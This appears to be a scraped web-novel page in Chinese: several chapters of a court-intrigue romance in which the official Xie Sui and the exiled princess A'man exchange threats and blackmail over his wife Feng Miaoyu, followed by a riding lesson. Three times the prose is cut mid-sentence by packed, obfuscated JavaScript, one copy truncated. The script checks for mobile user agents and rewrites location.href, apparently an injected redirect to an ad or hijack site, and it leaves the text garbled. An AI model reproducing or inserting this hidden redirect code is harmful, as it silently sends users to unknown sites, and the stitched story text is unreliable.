帝王行宫,这可不是想来就能来的地方。谢随正仰头细细欣赏着,有人影悄无声息地走到他背后不远处。停步,静静地望着他的背影,薄薄的嘴唇抿成了一个“一”字。熏风撩起几片朱红的衣袂,艳煞榴花。 “谢公子?”阿蛮说。 谢随循声扭头望去,阿蛮一见到那张脸,顿时狂喜。方才隔着纱帐她看不清楚人脸,不过能瞧个大概的身形,抱着试一试的心态跟了出来——没想到真的是他! 不远处遥遥走过来两个宫人。 阿蛮偏头轻轻“啧”了一声,大步上前,一把将谢随拉到了石碑后面,“你知道我兄长的下落是不是?你肯定知道——” 声音似乎有些大了,那两个宫人停下了脚步。 万俟闻的妹妹,万俟满。 谢随很快反应过来,微微皱眉,心道一声:“麻烦。”没想到把林修远迷得神魂颠倒的蛮族女子竟然是她。想来林修远能以少胜多,那般顺利地击溃一向骁勇善战的青跶部,这背后也少不了她的功劳吧。 阿蛮知道自己有些太激动了,很快平复了一下心情,又强忍着喷涌的情绪压了声又道:“别以为我不清楚,谢公子,你可是借着互商的名义在我们那里安插了不少探子,你肯定知道点什么!我兄长现在在哪里?” 安插几个探子算什么,谢随一脸平静,说得好像万俟闻就没有借机往他这边送探子一样。他送去的探子在蛮族内斗中折损大半,剩下的那几个如今也是断了线的风筝。 万俟闻如今在哪里,是生是死,恐怕只有老天爷才知道了。 “你快说呀!我兄长呢?” 谢随垂眸,慢条斯理地拨开她的手,像拂去袖上的一粒微尘。 他知道万俟闻的下落也好,不知道也罢,凭什么要告诉她?巫阳已是日暮穷途,一个空有架子的公主,帮她非但没有好处,还会给自己惹来麻烦。若是万俟闻活着,他们一部倒还有东山再起的指望,只是照眼下的情况来看,万俟闻大概是死了。 谢随很快权衡了利弊。 没必要扯上关系。 谢随淡淡道:“姑娘在说什么,本官怎么一句也听不明白。姑娘恐怕是认错了人罢。” 阿蛮呆住了。 “你不是兄长的朋友吗?”她问。 谢随不语。 “你可知道我兄长为了你们付出了多少?要把马匹、刀剑运送出去,还是送给你们中原人——你可知道兄长为了说服族中长老们费了多大的功夫!你怎么能这样对他?”她又问。 谢随温和笑笑,那眼神却是平静而又冰冷的。 他才入仕不久便能入门下省官居五品,多少人一辈子也够不到的位子,这其中自然少不了机缘巧合,但他也不是单单就靠着运气坐稳了这个位子的。同样世家出生,同样是王大人门生,那唐远志可是熬了十多年才熬到了六品——但凡他心性稍弱一点,不够果决,不够狠辣,又谁会在意他这样一个落魄无依的世家子?就是去亲戚屋檐下借住一晚都要遭人家白眼的。 这些事情上面,他向来是很清醒,甚至是不近人情的。 “那你以为,我要瞒住朝廷上下给你们送粮就是一件很轻松的事情了?” 倒卖粮草,囤积兵马,勾结外寇。无论哪一条单拉出来都是决不待时的重罪,一旦消息走漏就是脑袋落地,谁也救不了他。但这样的付出是有回报的,对双方都是……不过是各有所图,互利共赢而已。有买有卖,谁又比谁更高贵了。 谢随这才轻飘飘扫她一眼。 鸳鸯缠枝莲鎏金三角钗,外环四对八只石榴纹金银簪钗,颈间金串珠上坠着的红宝石比人的拇指指甲盖还要大,价值不菲。西境到盛京一路上风尘碌碌,他方才在席间见林修远一脸疲态,而她的气色却是极好的,想来这一路上林修远待她当真不赖。 对那个头脑简单的武蛮子来说,真是难得了。谢随在心里淡淡地想,某种意义来说是个好命的,国破家亡,飘零至此,却还是有人愿意好生宠着护着的。 “你就算知道了你兄长的下落又能怎样?” 她已经借林修远之手把青跶部打了个落花流水,俘虏近万人,这仇也算是报了。如今南安侯虽然不同意,但听说林修远已经预备着直接上书奏请皇上为两人赐婚了。林修远有军功在身,不过是想娶个不知道来头的蛮族姑娘,南安侯就这么一个宝贝独子,南安侯松口是早晚的事。 她成为大梁正儿八经的世子夫人只是时间的问题了。 “若我兄长还活着,我自然是要去找他,和他一起为父王母后报仇。若他死了,那我便杀光青跶部最后一个人为他们陪葬。”阿蛮说。 谢随沉默了片刻。 “看在故人的份上,我便真心奉劝你一句,”谢随说,“既侥幸捡回了一条性命,改了头,换了面,你若还爱惜这条性命,那些旧事,国仇家恨还是忘了的好。入乡随俗,好好活着不好吗。” 万俟闻十分疼爱这个妹妹。 想来如果万俟闻就在这里,肯定也不希望自己的妹妹掺和到男子的这些事情里为他报仇。做个没心没肺的姑娘就好,往后余生做她的世子夫人,开开心心,和和美美活下去。 阿蛮听了后却冷笑。 “不过是怕累又怕麻烦,不想帮这个忙而已!谢公子,既然这样,你不妨直说,又何必找这些借口来敷衍我?果然你们中原人都是一个模子里出来的,懦夫!”阿蛮狠狠往地上啐了一口。 谢随笑笑。该说的已经说了。至于信不信,如何选择,那是她的事情,谢随没有兴趣干涉这些。书法最讲究静心凝神,被她这么一打岔,谢随也没了继续欣赏的心思,转头离去。 “虚伪,”阿蛮冲着他的背影大喊,“你就是这样对你的手足兄弟的?你这个人没有心,衣冠禽兽,狼心狗肺的坏东西!” 谢随步子一滞,还是头也不回地走了。 —— 午后天边飘来几片乌云,风里也渐渐大了起来,空气粘湿沉重,像是要下雨的样子。 夏季多暴雨,何况九成宫又在山间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079982|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 先皇在时,几乎每年都会带着妃嫔子女在九成宫小住,少则几日,多则数月,处理政务,接见大臣自然也搬到了九成宫里。方便起见,有不少官员在这附近添置了宅院,但那只是少数。多数人晚上接风宴散了还是要乘马车回盛京去的,若是下起暴雨可就麻烦了。 冯妙瑜便和冯敬文商量着把晚上的席面提前了一个多时辰,她过去找冯重明说明了情况,嘘寒问暖,顺便又和父皇一同用了晚膳,等她回来的时候宴席已经快散了,陆陆续续有人起身告辞离开。 阿蛮倒还是一个人坐在角落里。她整个人几乎是倒伏在桌上,面前的饭菜没动几口的样子,也不知道她是怎么了,心情很不好的样子,只一个劲的喝酒。 这样下去哪里能行。那酒再好,也不是能这样喝的。人喝成这个样子,倒显得她这个做东家的招待不周了。 冯妙瑜就过去摁住了阿蛮端酒杯的手,坐下来说:“别喝了,我看林世子那边也准备要回去了,我叫你的侍女送你先上马车里去吧?” “你,别管我……” 阿蛮懒洋洋张开一双醉意朦胧的眼睛,想推开冯妙瑜的手,指尖却无意触到一片冰冷,是一枚戒指。 阿蛮的眼神突然变了。她反手扣住冯妙瑜的手腕。 冯妙瑜疼得倒吸一口气“嘶”了一声,她用力,却怎么都挣扎不开阿蛮的手。 这姑娘的手劲怎么这样大! “这戒指是从哪里来的?” 阿蛮捏着冯妙瑜的手腕低声逼问,她忽然就想起兄长曾提起过那位谢公子尚了妙瑶的姐妹……兄长送给谢随的戒指在她手上,那应该错不了了!这个人大概就是谢随的妻子。 腕间的钳制又松开了。 “这戒指有什么问题吗?”冯妙瑜揉了揉手腕。 阿蛮不答,刚才的举动仿佛只是她一时酒蒙的无心之举,她整个人从桌上移到冯妙瑜肩头,半搂着,说:“妙瑜你也要回去的吧?你要上马车,我也要上马车,你送我过去吧。” “阿蛮?” 冯妙瑜唤她,没反应。 又推了推她的胳膊,还是没有反应。 榴红过来想把她从冯妙瑜身上拉下来,阿蛮却怎么也不愿意放手,她力气又大,大半个人搭在冯妙瑜身上,纹丝不动。 “算了,她好像还能走的样子,我扶着她去马车那里,”冯妙瑜摆摆手,“你去叫林世子和姑爷。” 到了酉正的时候,天上果然飘起雨来,好在只是零零星星的毛毛细雨。 阿蛮仍伏在冯妙瑜肩头,她半眯着眼睛盯着雨幕,在看到谢随神情的一霎,她就勾唇轻轻笑起来。 她知道自己赌对了。 他的神情做不得假,她确确实实地咬到了猎物的喉咙。 涂着柿红蔻丹的指尖扫过素白的侧颈,动作轻柔得像是情人间隐秘的爱抚。可这分明是个威胁。 阿蛮用口型,一字一顿地说:“明日正午,春和酒楼。你若不来,我便杀了她。” 她歪了歪头,慢慢放开了冯妙瑜。起身时嘴唇有意无意从冯妙瑜的侧颈边上擦过,唇脂留下印子远看是一道殷红的伤口。那伤口被雨水细细晕开,血顺着脖子流到了衣领里面。 天边隐隐传来雷鸣的声音,很远,但又很近。 65. 65 冯妙瑜撩起车帘。 外面已是一片水墨画般的浓黑,树影乱舞,豆大的雨点砸落在车顶上,啪嗒啪嗒的雨落声压住了马蹄铁落在石板路上的声音,路上不见有其他马车,这样的天气就该窝在家里,有谁愿意出门呢。一路上只有几个被突如其来的暴雨打乱计划的行路人,抱头挡雨作鸟兽四散而去。 冯妙瑜松了口气,舒舒服服靠在软枕上。心里无比庆幸他们此刻已经下山走在了平坦的官道上。这样大的雨,若他们再晚出来一盏茶的功夫,只怕现在已经连人带车的被困在半山腰上进退两难了。 竹制车帘隔绝了外面湿热的水汽,烛火在八角琉璃的罩子底下有条不紊地晃动着。谢随不动声色地凑过来,“妙瑜,你脖子后面沾到东西了。” 冯妙瑜伸手摸了摸,“是吗?好像没有东西啊。” “你用手当然摸不到,我瞧着好像是沾到胭脂了。” “胭脂怎么会沾到那里去。”冯妙瑜嘟囔着,微微偏过头,“明显吗?” “还好。”谢随一手托着冯妙瑜的脸,一手拿了帕子细细擦拭,长长的睫毛半垂着,神情异常专注。只是那唇脂哪里是轻轻松松三两下就能擦去的,车里没有温水,更没有洁面用的香粉。越擦,反倒让那道伤口似的红印晕得更开了。 “算了,反正也没人看见。等回去了洗一下就好了。” 细碎的呼吸落在颈畔,冯妙瑜觉得痒痒,便笑着躲开,随手抓住了谢随的手腕。他的指尖竟在微微颤抖着。 这是怎么了? 冯妙瑜有些奇怪。 “你的手怎么在抖,是不是坐在风口上着凉了?我往里面坐一点吧。” 谢随摇了摇头。 “刚才扶着你的那个红衣姑娘就是林修远带回来的那个蛮族姑娘?” “是啊,你看到她了吧?漂亮吧。”冯妙瑜很兴奋,兴奋中又带着点遗憾,“林修远那家伙可真是撞了大运。” 好端端一个美人妹妹,怎么就看上了林修远那个武痴呢。 “是吗?我觉得也就那样吧,”冯妙瑜瞪他一眼,这人是没长眼睛吗,谢随接着轻描淡写地问,“你们俩都聊了些什么?” “没聊什么。阿蛮她不大开口说话,主要是我在说,但我也不清楚她听懂了多少。她还不太会说雅言呢。”提起这个冯妙瑜更遗憾了,叹了口气,整个人都耷拉下来。 没聊到什么就好。谢随折好帕子抬起头。 “最近天气炎热,我听说有好多人出门中了暑,甚至有热死过去的。你最近若是没有什么要紧事,最好还是不要出门了。”万俟满再厉害也不过两条胳膊两条腿,双拳难敌四手,长公主府守卫森严,冯妙瑜只要不离开府邸就是安全的。他又犹豫了一下说,“还有那个阿蛮……是叫这个名字吧?我觉得你最好不要和她走得太近。” 这话他不敢说的太明白,以冯妙瑜的敏锐,说得太明白必然会暴露他早就认识万俟满的事情,他心里再焦急,也只能装作随口似的提上一嘴。 “怎么你也对蛮族的人抱有偏见?”冯妙瑜挑眉。 是对万俟满一个人有偏见,谢随在心里说,毕竟她可是放话说要杀了冯妙瑜的。谢随摸了下自己的脖子,他又回想起了那日午后被那女人拿刀架在脖子上的感觉,冰冷锋刃随着呼吸在肌肤上跳动,自己的生死就掌握在另一个人的一念之间——如果只是单纯嘴上威胁威胁就罢了,可万俟满,她是真的能做到的。 不过能做到和真的做到是两回事。 她真当他是好威胁的?谢随意味不明地轻笑了一下,拿冯妙瑜来威胁他,很聪明,但又不够聪明——她自己除了万俟闻难道就毫无软肋了? 若是没有软肋也不要紧。 一个孤女而已,她真当他不敢下杀手吗。 “当然不是对她有偏见了,只是觉得她的举止很奇怪。”谢随在冯妙瑜耳畔轻声说,“你想想看,林修远奉命讨伐蛮族,他手下的人屠杀了多少她的族人?这里面兴许还有她的家人亲人,可她却义无反顾地跟着林修远来了盛京,这不奇怪吗。”顿了顿,他又说,“我是为了你好,妙瑜。” “知道了知道了,我会多注意的。”冯妙瑜敷衍道。 她不过是透过那姑娘的身影想到了妙瑶,就过去和那姑娘多聊了两句而已!这人有时候婆婆妈妈的。她又不是小孩子,和别人说两句话,还要他管着。 谢随看着冯妙瑜的表情,就知道她没把这话放在心里。 等回到长公主府已经是定昏了。 雨水顺着铺了瓷片的芝花海棠纹铺地一股一股汇成小溪,灯影碎金,石块间的青苔油绿到发亮。谢随从随从手中接过伞,迟疑了一下,又回头望了眼。屋子里一片漆黑。 冯妙瑜累了一整日,回府洗漱过便早早睡下了。 “别告诉公主我出去过。”谢随说。 “是。”随从垂首应诺。 “最近你们多盯着公主些,没什么要紧事不要让公主离开府里。”谢随又说。 “大人,”那随从苦笑,“这公主要出门,小的们怎么可能拦得住。” “马车坏了,拉车的马生病受伤了,黄历说今天不宜出门……办法总比困难多,”谢随淡淡瞥他一眼,眼睛在漆黑的雨夜里愈发显得幽深冷漠,“如果有个自称阿蛮的女人来找公主,不必请示公主的意思,你们直接打发她离开。她要是闹起来不走,或是想强闯进来——” 谢随抬手做了个抹脖子的动作,笑笑,“手脚干净点,可别让人发现了。” “大人放心。”随从拍胸口保证。 青面油纸伞展开,谢随一个人撑着伞走向了雨夜中。 翌日正午,春和酒楼。 一辆灰扑扑的翘棚辎车在酒楼门口停下,车帘掀起,一只玄色的皂靴踩在积水上,随后是一柄青面油纸伞张开。连绵不绝的潮热阴雨天气,连筝的音色都泛着潮潮的闷劲。楼上的雅座中,万俟满信手把玩着一只角骨茶刀,刃尖流淌着冰冷的光,她指了指外面的滴壶,笑得灿烂,“正午已经过了一刻。谢公子,你迟到了。” “在中原,有耐心可是一种美德。”谢随把伞扔给外面垂手而立的店小二。 “那需要我再给你半个时辰,你好回去涂个脂抹个粉再过来吗?”万俟满嘲笑他。 “你出来见我的事,林修远知道吗?”谢随不为所动,出言反问她。林家家风甚严,怎么可能允许准世子妃一个人出来单独和男子会面。 万俟满唇边的笑容一滞,她冷哼了一声,很快不甘示弱道:“你出来前难道和妙瑜交代了你要去哪里,要来见谁?这件事上我们彼此彼此。” 一旁倒茶的小二的表情顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087741|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时有些古怪,手一抖,茶水差点倒到杯子外面。 “来谈正事吧,”万俟满身子往前探了探,“你帮我找到我兄长的下落,我可以保证我此生都不会再去纠缠妙瑜,很合算的买卖吧?” 谢随端起茶杯看了一眼,又放下了。他素日爱喝口味鲜爽的绿茶,不喜欢这种滋味醇厚的沱茶。 “别着急,你先看看这个再说吧。”谢随拿出几张纸放在桌子中间。 万俟满不知道他在搞什么名堂,半信半疑接过来翻阅。她雅言虽然说得不错,但阅读文字还是很吃力的,三四十页的内容,她只大概看明白了上面写着许多的人名和地址。她不解地望向谢随。 “你给我看这个是什么意思?”万俟满问。 “是礼尚往来的意思。”谢随扫了她一眼,慢慢地说,“你的手足亲人,可不止万俟闻一个人,你叔伯姑母,堂兄弟姐妹,他们是死是活,你觉得无所谓吗……” “他们还活着?”万俟满眼前一亮,随即心里一沉,明白了谢随拿出此物的意思,“你要用他们的性命来威胁我?” “只要你老老实实的做你的世子妃,我当然不会动他们一根头发。他们可是偷渡进来的,没有户籍,又是蛮人,听说生活十分艰难。只要你不惹我,我不介意让下面的人在方方面面上对他们睁一只眼闭一只眼,让他们过得舒服些。”谢随话锋一转,语气变得咄咄逼人,“或者,你更喜欢我的人把他们一个个送去南安侯府上?天气这样热,路程又这样远,等送来——那味道恐怕不会很好闻。” 谢随垂眸假装专注地看着深红色的茶汤,他知道万俟满正死死盯着他,眼角余光扫过半敞的窗户,那辆灰扑扑不起眼的辎车依旧停在楼下,车夫戴着一顶宽大的斗笠。如果她的答案是拒绝,那么南安侯府的准世子妃将会在今晚突然失去音讯。 他不喜欢被人威胁,更不喜欢有人可能威胁到冯妙瑜。当然,双方能坐下来谈妥了是最好的,杀人灭口,那是最后迫不得已的办法。 万俟满沉默了很久,脑海里天人交战。谢随,这个人是她找到兄长的最后的希望了,在盛京她还认得谁……林修远,她是不讨厌的,但她总不能真的一辈子隐姓埋名,困在南安侯府里相夫教子吧?可姑姑叔叔家——那是百来条人命啊。 兄长一个人的下落,和手足亲人数百条的性命,孰轻,孰重? 万俟满深深地呼了口气,闭了闭眼睛,“真卑鄙啊。我能说个‘不’字出来吗。” 谢随离开后,万俟满一个人静静地坐了许久。外面风越来越大了,呜呜呜地吹着。她突然像被人抽走了骨头一样软倒在椅子上,轻轻地哭起来了。 她要怎么办才好,难道就真这样认命,忘记了姓名前尘,恬不知耻的活下去吗…… 她呜呜哭了好一会才止住,擦了脸起身,她是偷偷从南安侯府溜出来的,再晚回去只怕瞒不过府里的人了。 这时候却有人过来敲雅座的门。 店小二在外面道:“夫人,外面有位自称是一位闻公子朋友的人说要见您。您看是让他过来,还是?” 万俟满一愣。 谢随早就离开了,她在盛京又没有其他认识的人。眼下找上门来的会是谁? 灰白的雨幕下,那辆不起眼的辎车依旧停在酒楼门口,那戴着斗笠的车夫却不见了踪影。 66. 66 午后,一天里最容易犯困的时间,何况外面还沙沙沥沥下着暴雨。 早上颁政坊书店的伙计送来了谢随前些日子订购的新书,小书僮整理到一半犯了困,正枕着两本书趴在地上打着盹儿,突然间听到推门声,吓得猛地起身,站直了,又用袖子抹抹嘴角并不存在的口水。 “姑,姑爷,您今个怎么这么早就回来了?” 谢随看到了他脸上几道红红的印子,也没说什么,只淡淡“嗯”了一声。 “姑爷,您吃过饭了吗?这会厨房里应该还有人,奴才立刻叫他们给您做点东西吃。”小书僮殷勤道。这份讨好里带着点将功折罪的意思。 “不用了,我不饿。我要处理公务,你出去吧,不要让人进来打扰我。”谢随说。 看着小书僮的身影消失在门外雨幕里,谢随立刻锁上了门,阖上窗子,再三确认门锁不会有人突然进来后,他才坐下,小心翼翼的从怀中拿出一封信,就着火烛挑开了上面的蜡封。 信是几个时辰前夏宵亲手交给他的,千叮咛万嘱咐说不能让别人看见,只能由他亲自拆开看——其实夏宵这是多此一举,就算不叮嘱他也不可能不谨慎的。 因为这封信是从岭南寄出的。 身在岭南,还会寄信给他的想来也只有那位了。 原太子,安王,冯重曜。 上好的蜜香纸,上面洋洋洒洒写了些岭南趣事和家常问候,似乎只是一封普通信件。谢随耐着性子一句句往下读,终于在信尾看到了熟悉的字迹,笔走龙蛇,却只有短短四个字。 “时机已到。” 他翻来覆去地把那个四个字看了许久,脑子里一片空白,雨声沙沙,像是白腻腻的蚕啃食桑叶的声音。这里没有蚕,书房里怎么可能会有蚕?可确实有什么东西在啃食着他的心脏。这一天总会到来的,在安王救下他,又安排他重回盛京的那一天开始,这就是注定的……虽然他心里知道总会有这一天,但是这一天怎么就不能来得晚些,来得再晚些?偏偏要在这个时候。 谢随拿过烛台,火光跳动着将信封连带着里面的信撕扯了个粉碎。他起身推开窗户,冷风猛地扑进屋里,谢随打了个寒战,搭在窗边的手缩了回去,正准备收拾一下出去叫那个小书僮过来整理新书,一个念头却突然闪过。 今早夏宵把信交给他时看着他,那欲言又止的表情。 这封信不是问候,更不是什么友善的提醒,而是一个警告。最后通牒。 他本该在西境大捷的消息传来时就开始动手的,却一直拖到了现在,拖到冯重曜不耐烦到来信警告他。 身不由己。 谢随闭上了眼睛,叹气,良久才缓缓睁开眼睛。 —— 小暑过去后,天气是越来越热了。 下雨时的盛京是个盖了锅盖的大蒸笼,开水从天而降,潮热难耐。不过下雨的时候到底还好些,不下雨更糟糕,腾腾热气里夹杂着东南风,整个盛京是个石板青瓦做成的烤炉,路上行人拼了命地挥手扇凉,却杯水车薪般的无济于事,男男女女,老老小小,一个个热得衣衫不整,形容枯槁,活像风干挂在杆子上的的肉……行走的人干。 暑气熏蒸,金石熔解。 皇子龙孙们自有取之不尽用之不竭的冰块冰碗儿消暑解乏,位高权重的大臣们时不时能得到帝王赐冰的荣宠,何况就算没有冰块解暑,家宅后院的绿荫底下也总有一丛凉爽地。而既没有冰块可用,又没有能种植大量林木的大宅院的寻常人家倒琢磨出了一个消解暑热的新办法—— 上寺庙里静坐。 赵氏先带着女儿去凑了这个热闹,回来后对此大加推崇,说什么暑热不过都是人的幻觉,心静自然凉云云。她说的天花乱坠,冯妙瑜自然是不信的。外面那么大的太阳烤着,哪里有放了冰块开着北窗通风的屋里凉快?左不过是闲来无事,也去凑个热闹罢了。 果然,马车还没走到白龙寺门口冯妙瑜就后悔了。 盛京寺庙林立,光是城内就有大大小小二十来座寺庙。这白龙寺属于其中没什么人气的,素日门庭冷清,烧香供奉者更是寥寥无几。既然要出门偷凉,冯妙瑜特意挑选了此地。往常连个人影都看不见的街道,今日却堵得水泄不通,热闹程度堪比逢年过节前的东西两市。 “公主,好多人啊!这些人难道都是上白龙寺避暑的?”榴红目瞪口呆。 “应该是吧,”冯妙瑜也被震撼到了,大热天出门,还被挤在人山人海里,这简直是绝望的,她干脆道:“我看我们还是回府去吧。” “公主,您看看后面。”榴红苦笑两声,挑帘指了指她们身后。 她们来时的路已经完全被汹涌望不见边际的人流堵死了。 好在白龙寺后还有一道只出不进的小门。两人只好不情不愿地下了马车步行入寺。只是寺庙里面竟比外头还要热上几分,香烟缭绕,举目望去四处是人。哪怕是块巴掌大的阴凉地都早早被人占据了,但毕竟是来了。冯妙瑜带着榴红艰难地穿过人群,两人在大雄宝殿门口上了炷香,打听了小门的位置,匆匆落荒而逃。 出寺的石阶两旁种满了翠竹,石板滚烫,但凡有点阴凉的地方仍是挤满了人。虽然比起寺内好上许多,却仍是寸步难行。 “奴婢再也不敢相信仁亲王妃殿下说的话了,这寺庙里头可一点都不凉快!”榴红一面喘着气艰难地往下挪动,一面不停地拿帕子抹汗。 冯妙瑜也热的头晕眼花,她在心里点点头,这哪是避暑地,分明是自投罗网进了火炉子里。但这么说好像不太合适。她想了想,勉强找出了一个理由说服自己,“也许是我们的心不够诚吧。” 自从白龙寺小门出来后正对着一座马场。这里平日是不对外开放的,今日既没有马球比赛,只有零散几个富家子弟在里面骑马作乐。冯妙瑜花重金买了冰绿豆水,拉着榴红在马场的台子边上找了块遮阴的地方坐下来,等马车过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092737|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一碗凉丝丝的冰绿豆水下肚,整个人从头到脚都舒展开了似的,冯妙瑜长出一口气,伸了伸脚,突然扭头问榴红,“刚刚好像听到有人在叫我的名字。” 榴红正忙着和自己那碗冰绿豆水做斗争,喝了冰得倒牙,不喝又热得受不了,她抬起头笑道:“公主怕不是热过头听错了?就算是有认识的人看见了您打招呼,哪有直呼您的名讳的。” “也是。”冯妙瑜说。 马蹄声近了,这一次坐在台子上的两个人都听得真切。 “妙瑜!”顿了顿,那个声音又说,“这边!我在下面!我远远看着就像,果然是你啊!” “阿蛮?”冯妙瑜起身抓着栏杆探头。 阿蛮骑着一匹枣红色,额头上有一方白毛的大马,正在台子底下冲招手,她干脆利索地撩袍跳下马背,随手将缰绳扔给一旁的侍从,单手一撑,就翻上了台子。 “你也来这里骑马?”阿蛮问道。 “我不会骑马。”冯妙瑜连忙摇头摆手。 “不会骑马?”阿蛮非常惊讶,她抬手挠挠头,“这有什么不会的?在我们那里,就没有不会骑马的人,”阿蛮顿了顿,毕竟蛮族人几乎可以说是在马背上长大的,别说是成年男子,就是三五岁的孩子都能轻轻松松地策马奔驰,“不会骑马的话,你要出门去玩可怎么办?” 冯妙瑜本想说乘坐马车,阿蛮瞟了她一眼,笑道:“你那天不是说想去我们那里玩吗?马车在草原上可走不了,必须得会骑马才行。走吧,我教你。” 说罢,阿蛮就拉着冯妙瑜往下走。 “我也只是说说而已,我看我还是算了吧,我肯定学不会的……” 不到半刻的功夫,冯妙瑜缩手缩脚地站在马场的沙地里,仰头,她几乎是畏惧地看着那匹几乎和她同样高的马儿,刚好在这时候那马儿打了个响鼻,冯妙瑜赶紧默默往后退了两步。 阿蛮已经又跳上她那匹枣红色的大马背上了,见冯妙瑜迟疑,“别怕,这里的马儿都温顺得很。你要实在不敢一个人上马,那我先带你跑两圈吧?相信我,你肯定会喜欢上骑马的感觉的。” “我以前也教过其他人骑马,她是我父亲的继……继配。她和你一样,一开始连马儿都不敢靠近呢。但后来她马骑得可好了,都可以自己一个人骑马去看冰川了。”阿蛮怀念道,她拍了拍马背,“来,你踩着马镫,我拉你上来。” “那,我就先试一试?”冯妙瑜还是缩着肩,却被阿蛮说得有些动摇,倒是没有再往后退了。 阿蛮笑笑,突然一个用力将冯妙瑜拽到了马背上,冯妙瑜强忍着想要尖叫的冲动,“它,它在动!” “这马儿是活的,它当然会动啊。”阿蛮说,“坐好了?” 只是还不待冯妙瑜回复,阿蛮一夹马腹,那枣红马儿便撒蹄子就往前冲,转眼间已跑过了半圈。 “公主——” 守在后面的榴红顿时发出一声尖叫。 67. 67 热浪贴着头皮扑面而来,冯妙瑜捏着马鞍的边缘紧紧闭着眼睛,耳边除了呼啸打着转儿的风声外什么都没有了,马儿在飞驰,阿蛮倒是游刃有余,一面驾着马,一面还有空拍拍冯妙瑜绷着的肩膀,说,“睁开眼睛,不然真的可能掉下去哦?” 以这个速度从马背上掉下去恐怕不只是摔断脖子这么简单。冯妙瑜吓得立刻瞪大了眼睛。 身后传来阿蛮的笑声。 “别怕。我骗你的,你怎么可能会掉下去?” 知了在树上有气无力地叫着热,天空,翠绿闪亮的树影快速从眼前掠过,南风唰唰唰地卷着冯妙瑜的头发往后散去。和坐在马车里看外面的风景完全不一样的感觉,她从来没有这么恣意放肆过,冯妙瑜内心深处的某个地方像是被蜗牛触角轻触,微微一动。 马儿绕着马场飞快地奔跑了两圈后,冯妙瑜也没有最初那么害怕了。她在阿蛮的鼓励下试着伸出手,握着拳的手慢慢张开,像是出生不久的雏鸟第一次试着张开翅膀,满怀着对世界的茫然畏惧与新奇。南风从她的指间溜过,她挥舞着握拳试图抓住这奇妙而又炫目的一瞬,却是竹篮打水。 “怎么样,感觉还不错吧?”阿蛮问她,马儿的速度渐渐慢下来,阿蛮说着叹了声气,有些遗憾,“可惜这地方太小,再好的马儿来都跑不开。” “小吗?可这里已经是全盛京最大的马场了。”冯妙瑜随口说。 阿蛮愣了一下,脸上的表情明显有些低落,冯妙瑜很快意识到自己说错了话。马场再大,哪里能比得上草原辽阔呢。少时离家,她干嘛不识趣的哪壶不开提哪壶,平白勾起人家的思乡之情。冯妙瑜在心里责备自己的不小心,“对不住,我不是有意提起这个的。” “没关系,”阿蛮摇头,她背着光,夏日的天空分明离她那样得远,却因为十分明朗干净,总是给人一种伸手可触的感觉。风轻轻吹起她鬓边一缕金线般的碎发,“我又不是回不去了,”她低声说着,“就算有一天我真的死在了这里,风也会把我的魂灵带回草原的。” 扭头,猛然撞见那张和冯妙瑶足有六七分相似的面容,阿蛮鬼使神差地伸手摸了摸冯妙瑜的脸,细声喃喃道:“对不起,没能保护好你……” “你说什么?”冯妙瑶没听清楚阿蛮后面说的话。 “没什么,”阿蛮跳下马,她笑笑伸手向冯妙瑜,“走吧,我来教你怎么骑马。” —— 冯妙瑜小心翼翼地揭开衣摆,倒吸了口凉气。 大概是她平日养尊处优惯了,不过是骑了一下午的马,身上的酸痛自不必说,腿上甚至磨破了好几处皮,伤口处嘶嘶溜溜的痛。榴红很快拿了烛台和青瓷莲花的药膏盒子过来,细纱布沾着膏药按在伤处,又冰又痛,无异于一种酷刑。 榴红上完药出去后,冯妙瑜才换了个不会碰到伤处的姿势躺下,正呲牙揉着酸痛的肌肉,谢随进来了,他这些天也不知道在忙些什么,总是回来的格外晚。冯妙瑜猛地扯过被子盖住自己的腿。 “怎么还没有睡?”谢随在屏风旁摘幞头,解革带。 “准备睡了,我也才回来。” “白龙寺这么好玩?”谢随就问道。 “一点也不好玩,里面全是人,热得要命。没意思,”冯妙瑜撇撇嘴,“我再也不想相信仁亲王妃说的话了。” “那你还玩到了这个时候才回来。”谢随笑笑。 冯妙瑜本想说她没有在白龙寺里待多久,主要是和阿蛮学骑马,学着学着就学到了这个时候。话到嘴边,她又忽然想起谢随似乎对阿蛮颇有些成见,之前还特意提醒了她要离阿蛮远点。冯妙瑜就只是笑了下,没接话。 现在先不告诉谢随,等她学会骑马后再告诉他,吓他一跳好了。冯妙瑜在心里想。 谢随很快更衣洗漱过,走过来吹灭了灯,钻进被子里。 冯妙瑜感觉他的手从背后环了过来。冯妙瑜碰到他的胳膊,摸了两把,好像是瘦了点? “你最近很忙吗?我看你最近总是回来的很晚,好像人也变瘦了些。” 